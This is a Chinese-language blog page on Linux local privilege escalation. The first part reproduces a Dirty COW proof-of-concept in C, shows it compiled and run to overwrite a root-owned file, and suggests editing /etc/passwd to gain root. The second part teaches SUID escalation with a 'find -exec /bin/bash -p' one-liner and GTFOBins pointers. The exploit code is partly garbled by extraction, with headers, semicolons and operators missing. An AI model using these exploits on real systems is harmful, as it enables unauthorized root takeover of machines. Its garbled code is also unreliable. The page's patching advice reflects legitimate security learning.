linux内核通杀提权漏洞怎么验证

linux内核通杀提权漏洞怎么验证,第1张

Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。漏洞危害:低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root 权限。影响范围:该漏洞影响所有 Linux Kernel >= 2.6.22 的版本。2.6.22 是 2007 年发布的版本,也就是说这个漏洞几乎影响 2007 以后的所有版本。漏洞测试:读取 /proc/version 来获取 LinuxKernel 版本:

➜ ~ cat /proc/version

Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 20164.4.0 版本的Kernel,看样子是受影响的,github 上给出了如下的 POC:

#include

#include

#include

#include

#include

void *map

int f

structstat st

char*name

void*madviseThread(void *arg) {

char *str

str = (char *)arg

int i, c = 0

for (i = 0i 100000000i++) {

c += madvise(map, 100, MADV_DONTNEED)

}

printf("madvise %d\n", c)

}

void*procselfmemThread(void *arg) {

char *str

str = (char *)arg

int f = open("/proc/self/mem",O_RDWR)

int i, c = 0

for (i = 0i 100000000i++) {

lseek(f, map, SEEK_SET)

c += write(f, str, strlen(str))

}

printf("procselfmem %d\n", c)

}

intmain(int argc, char *argv[]) {

if (argc 3)

return 1

pthread_t pth1, pth2

f = open(argv[1], O_RDONLY)

fstat(f, &st)

name = argv[1]

map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0)

printf("mmap %x\n", map)

pthread_create(&pth1, NULL,madviseThread, argv[1])

pthread_create(&pth2, NULL,procselfmemThread, argv[2])

pthread_join(pth1, NULL)

pthread_join(pth2, NULL)

return 0

}这个 POC 可以利用该漏洞修改任意文件内容,看下面的测试:

➜ /tmp gcc a.c -lpthread

a.c: Infunction ‘procselfmemThread’:

a.c:28:5:warning: implicit declaration of function ‘lseek’[-Wimplicit-function-declaration]

lseek(f, map, SEEK_SET)

a.c:29:10:warning: implicit declaration of function ‘write’[-Wimplicit-function-declaration]

c += write(f, str, strlen(str))

a.c: Infunction ‘main’:

a.c:39:3:warning: implicit declaration of function ‘fstat’[-Wimplicit-function-declaration]

fstat(f, &st)调用 gcc 编译这个 payload,报了几个 warning,但还是编译成功了。

➜ /tmp su root -c 'echo 0000 >test'

Password:

➜ /tmp ls -al test

-rw-r--r--1 root root 5 Oct 16 23:52 test使用 root 权限创建一个其他用户只读的 test 文件,权限为 644,内容为 0000。

➜ /tmp id

uid=1000(Monster) gid=1000(monster) groups=1000(monster)

➜ /tmp ./a.out test 1111

mmap61222000

madvise 0

procselfmem400000000使用当前用户调用编译出的 a.out 程序把 test 文件的内容修改为 1111,经过漫长的等待以后程序终于执行完成。

➜ /tmp cat test

1111可以看到结果,test 文件的内容已经被成功修改。

这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。

修复方案:

更新最新 Linux Kernel 源码,并重新编译。 各大发行版也已经更新 Kernel,也可直接升级最新版本。

最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。

先来父复习一下linux文件的权限分配。

ls命令用来查看系统上面的文件、目录的权限。

字段的第一个字符表示对象的类型。

之后是每三个字符为一组,每一组定义了3种访问权限。

这三组分别表示文件所有者(Owner)、用户组(Group)、其它用户(Other Users)。

然后规定用数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1。

所以

chmod改变权限

chown用来更改某个目录或文件的用户名和用户组

该命令需要root权限运行

而文件权限除了r、w、x外还有s、t、i、a权限。

SUID

当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000。

举个例子:

linux修改密码的passwd就是个设置了SUID的程序。因为如果普通账号cseroad需要修改密码,就要访问/etc/shadow,但是该文件只有root能访问。那他是怎么修改的呢?原理:

查看该程序,发现被赋予了s权限。当cseroad需要修改自己的密码时,passwd程序的所有者为root,cseroad用户执行passwd 程序的过程中会暂时获得root权限,所以可以修改/etc/shadow文件。

SGID

而当s标志出现在用户组的x权限时则称为SGID。八进制数为2000。

当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。(父目录跟随)

SBIT

就是Sticky Bit,出现在目录的其他用户执行权限X上,标记为T,八进制数为1000。对目录有效,使用者只能对自己创建的文件或目录进行删除/更名/移动等动作,而无法删除他人文件(除非ROOT)

赋予s权限:chmod 4755 filename 或者 chmod u+s /usr/bin/find

取消s权限:chmod 755 filename 或者 chmod u-s /usr/bin/find

以centos为例。

还有额外的几个命令

我们就可以通过覆盖/etc/passwd文件,提权为root

默认该命令没有s权限

find命令

假如find命令被赋予s权限。

创建a.txt文件,执行 /usr/bin/find a.txt -exec /bin/bash -p \,成功提权。

这里注意的是新版Linux系统对子进程的suid权限进行了限制,不同的 *** 作系统结果也会不一样。

具体细节参考 https://cloud.tencent.com/developer/article/1674144

利用python可反d得到root权限的shell

python命令

根据 https://gtfobins.github.io/ 查找python利用姿势。

条件是sudo安装时需要输入当前用户密码。

在实战过程中,多查看 https://gtfobins.github.io/ 是否存在SUID提权,以及使用searchsploit命令查看某程序是否存在本地提权漏洞。

https://yoga7xm.top/2019/06/14/suid/

http://www.361way.com/suid-privilege/5965.html


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/8316420.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-15
下一篇 2023-04-15

发表评论

登录后才能评论

评论列表(0条)

保存